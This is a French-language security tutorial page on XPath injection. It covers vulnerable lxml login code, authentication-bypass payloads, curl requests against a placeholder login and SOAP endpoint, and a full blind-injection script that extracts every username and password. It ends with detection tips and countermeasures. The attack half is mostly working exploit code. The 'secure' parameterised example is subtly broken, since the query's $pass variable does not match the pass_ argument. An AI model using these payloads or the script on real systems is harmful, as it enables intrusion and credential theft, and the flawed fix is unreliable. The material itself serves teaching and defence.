Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Web Security
March 22, 2026

XPATH Injection

L’injection XPath exploite des requêtes XPath construites dynamiquement à partir d’entrées non filtrées. XPath est utilisé pour naviguer dans des documents XML, notamment dans les applications utilisant des fichiers XML comme base de données ou pour l’authentification.

Rappel XPath§

XPath (XML Path Language) — langage de requêtes pour documents XML

Structure XML typique (users.xml) :
<users>
  <user>
    <username>admin</username>
    <password>secret</password>
    <role>administrator</role>
  </user>
  <user>
    <username>alice</username>
    <password>pass123</password>
    <role>user</role>
  </user>
</users>

Syntaxe XPath de base :
  /users/user              → Tous les éléments user
  /users/user[1]           → Premier user
  //username               → Tous les éléments username (n'importe où)
  /users/user[username='alice']   → User dont username=alice
  /users/user[username='alice' and password='pass123']

Fonctions utiles :
  string-length(str)       → Longueur d'une chaîne
  substring(str, start, len)  → Sous-chaîne
  contains(str, substr)    → Vrai si substr dans str
  count(nodeset)           → Nombre de noeuds
  name()                   → Nom du noeud courant
  normalize-space()        → Supprime les espaces superflus

Code vulnérable et injections de base§

# Code Python vulnérable (lxml)
from lxml import etree

tree = etree.parse("users.xml")
username = request.form['username']
password = request.form['password']

# Requête construite dynamiquement — VULNÉRABLE
query = f"//user[username='{username}' and password='{password}']"
result = tree.xpath(query)

if result:
    # Authentification réussie
    login(result[0].find('username').text)

Bypass d’authentification§

Requête normale pour admin:secret :
  //user[username='admin' and password='secret']

Payload dans username — ferme la quote et court-circuite la logique :
  admin' or '1'='1
  → //user[username='admin' or '1'='1' and password='x']
  → //user[username='admin' or true] → retourne tous les users → login en admin

Payload encore plus direct (ignorer le mot de passe) :
  admin']  | //user[username='admin
  → //user[username='admin'] | //user[username='admin' and password='']
  → toujours vrai pour admin

Autres payloads classiques :
  ' or '1'='1
  ' or 1=1 or 'x'='
  '] | //* | //user['
  admin' or position()=1 or 'x'='y
# Tests manuels sur un formulaire de login
curl -X POST https://target.com/login \
    -d "username=' or '1'='1&password=anything"

curl -X POST https://target.com/login \
    -d "username=admin' or '1'='1' or 'a'='b&password=x"

# Si réponse = authentification réussie → injectable

Injection aveugle (Blind XPath Injection)§

La page retourne uniquement succès/échec — extraction bit par bit.

Extraction de la structure XML§

# Compter les utilisateurs
' or count(//user)=1 or 'a'='b   → True si 1 utilisateur
' or count(//user)=2 or 'a'='b   → True si 2 utilisateurs

# Longueur du nom du premier utilisateur
' or string-length(//user[1]/username)=5 or 'a'='b

# Extraire caractère par caractère
' or substring(//user[1]/username,1,1)='a' or 'a'='b  → True si commence par 'a'
' or substring(//user[1]/username,1,1)='b' or 'a'='b  → etc.
# Script d'extraction automatique (Blind XPath Injection)
import requests
import string

TARGET = "https://target.com/login"

def test_payload(xpath_fragment):
    payload = f"' or {xpath_fragment} or 'x'='y"
    r = requests.post(TARGET, data={"username": payload, "password": "x"})
    return "Welcome" in r.text  # Adapter selon l'application

def extract_string(xpath_expr):
    result = ""
    pos = 1
    while True:
        # Tester la longueur
        length_found = False
        for length in range(1, 50):
            if test_payload(f"string-length({xpath_expr})={length}"):
                max_len = length
                length_found = True
                break
        if not length_found:
            break

        # Extraire caractère par caractère
        for i in range(1, max_len + 1):
            for char in string.printable:
                char_escaped = char.replace("'", "\\'")
                if test_payload(f"substring({xpath_expr},{i},1)='{char_escaped}'"):
                    result += char
                    print(f"[+] ...{result}", end="\r")
                    break
        break
    return result

# Extraire le nom du premier utilisateur
username = extract_string("//user[1]/username")
print(f"\n[+] Premier username : {username}")

# Extraire le mot de passe
password = extract_string(f"//user[username='{username}']/password")
print(f"[+] Mot de passe : {password}")

# Extraire tous les usernames
count_test = next(n for n in range(1,50) if test_payload(f"count(//user)={n}"))
print(f"[+] Nombre d'utilisateurs : {count_test}")
for i in range(1, count_test + 1):
    u = extract_string(f"//user[{i}]/username")
    p = extract_string(f"//user[{i}]/password")
    print(f"[+] User {i} : {u} / {p}")

Extraction des noms de noeuds (structure inconnue)§

Si la structure XML est inconnue, extraire les noms des éléments avec name() :

' or name(/*[1])='users' or 'a'='b          → True si racine = "users"
' or name(/users/*[1])='user' or 'a'='b     → True si 1er enfant = "user"
' or name(//user[1]/*[1])='username' or 'a'='b  → Nom du 1er attribut

Compter les enfants d'un noeud :
' or count(/users/user[1]/*)=3 or 'a'='b   → 3 champs par user

Contextes d’injection§

SOAP / Web Services XML§

<!-- Requête SOAP normale -->
<soap:Body>
  <GetUser>
    <username>alice</username>
  </GetUser>
</soap:Body>

<!-- Requête SOAP — injection XPath dans le paramètre username -->
<!-- L'application exécute : //user[username='VALEUR'] -->
<!-- Injection : alice'] | //* | //x[' -->
# Test avec curl sur un endpoint SOAP
curl -X POST https://api.target.com/soap \
    -H "Content-Type: text/xml" \
    -d "<?xml version='1.0'?>
<soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'>
  <soap:Body>
    <GetUser>
      <username>' or '1'='1</username>
    </GetUser>
  </soap:Body>
</soap:Envelope>"

XPath dans des applications XML-natives (existDB, BaseX)§

Certaines applications utilisent des bases de données XML natives
(eXist-dB, BaseX, MarkLogic) → XPath injection plus critique

Accès potentiel à tout le système de fichiers XML
→ Extraire des documents entiers, pas seulement des champs

Exemple d'extraction d'un document arbitraire :
' or doc('/db/users.xml')//password='x' or 'a'='b

Détection§

# Métacaractères XPath à injecter
'  "  ]  [  /  *  =  |  (  )

# Payload de détection — génère une erreur XPath visible
'
''
' or 1=1--
' or '1'='1
']//[username='admin

# Observer les réponses :
#   Erreur XPath explicite → injectable, messages d'erreur verbeux
#   Comportement différent entre ' or 1=1 et ' or 1=2 → injection aveugle

# Burp Suite Intruder — envoyer les payloads
# Liste : SecLists/Fuzzing/XPath-Injection.txt

Contre-mesures§

# Contre-mesure 1 — Requêtes XPath paramétrées (lxml)
from lxml import etree

# DANGEREUX — concaténation directe
query = f"//user[username='{username}' and password='{password}']"

# SÉCURISÉ — séparation des données et de la requête
# lxml supporte les variables XPath
tree = etree.parse("users.xml")
result = tree.xpath(
    "//user[username=$user and password=$pass]",
    user=username,
    pass_=password
)

# En Java (javax.xml.xpath) — utiliser XPathVariableResolver
# En .NET — utiliser XPathExpression avec SetContext
# Contre-mesure 2 — Validation et échappement
import re

def validate_username(username):
    # Autoriser uniquement alphanumérique + quelques caractères
    if not re.match(r'^[a-zA-Z0-9_.-]+$', username):
        raise ValueError("Caractères invalides dans le nom d'utilisateur")
    return username

# Échapper les métacaractères XPath si la paramétrisation n'est pas disponible
def escape_xpath(s):
    # Encoder les quotes simples
    if "'" not in s:
        return f"'{s}'"
    elif '"' not in s:
        return f'"{s}"'
    else:
        # concat() pour chaînes mixtes
        parts = s.split("'")
        return "concat('" + "', \"'\", '".join(parts) + "')"
Règles générales :
✓ Utiliser des requêtes XPath paramétrées (variables, pas de concaténation)
✓ Valider les entrées en whitelist (alphanumérique uniquement si possible)
✓ Principe du moindre privilège — limiter l'accès au document XML
✓ Ne pas exposer les erreurs XPath en production (révèle la structure)
✓ Utiliser une base de données relationnelle plutôt que XML pour les credentials
✓ Logs : monitorer les requêtes XPath anormalement longues
—The Gardener